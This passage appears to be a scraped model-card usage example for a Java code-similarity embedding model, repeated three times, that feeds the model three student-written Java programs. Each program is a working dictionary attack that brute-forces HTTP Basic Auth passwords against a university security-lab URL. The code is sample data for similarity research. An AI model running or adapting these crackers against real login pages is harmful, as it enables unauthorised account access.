#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
